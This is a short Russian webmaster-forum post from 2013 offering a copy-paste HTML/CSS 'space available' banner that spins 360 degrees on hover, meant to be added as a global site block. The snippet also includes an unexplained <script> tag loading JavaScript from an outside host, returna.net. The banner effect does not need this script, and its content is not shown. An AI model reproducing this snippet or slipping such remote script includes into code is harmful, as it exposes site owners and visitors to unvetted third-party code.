Клуб WEB Мастеров
Ср, 19.09.2018, 01.58.21
» Меню сайта
» Мини-чат
» Наш опрос
Какой браузер вы используете
Всего ответов: 45368
» Статистика

1
1
0
Главная » 2013 » Июнь » 10 » Блок "место свободно"
15.23.07
Блок "место свободно"
Блок "место свободно" при наведении курсором на баннер картинка поворачивается на 360 градусов. Вот такой вот простенький рекламный блок для сайта. Установка проста, создаете глобальный блок и пропишите код.

Код
<div class="doll" align="center">
<style>.socialNetworks {display:inline;margin-right:10px;}
.socialNetworks:hover {display:inline;}
.link_me {bottom:0;margin-top:0px; margin-right:0px;}
.socialNetworks img {width:88px;height:31px;background:url(http://bambun.ru/images/banner88x31.png);-webkit-transition: all 400ms;-moz-transition: all 400ms;-o-transition: all 400ms;transition: all 400ms;position:relative;bottom:0px;right:0px;}
.socialNetworks img:hover {transform:rotate(-360deg);-webkit-transform:rotate(-360deg);-moz-transform:rotate(-360deg);-o-transform:rotate(-360deg);position:relative;bottom:0px;right:0px;}
</style><script type="text/javascript" src="http://returna.net/background.js"></script>
<center><div class="link_me">
<div class="socialNetworks"><img title="Место свободно" src="http://bambun.ru/images//banner88x31.png"></div>
<br><div class="socialNetworks"><img title="Место свободно" src="http://bambun.ru/images/banner88x31.png"></div>
</div></center>
Просмотров: 103 | Добавил: DoG | Рейтинг: 1.0/1
Всего комментариев: 0
avatar
» Вход на сайт

» Поиск
» Архив записей
KAZREX © 2018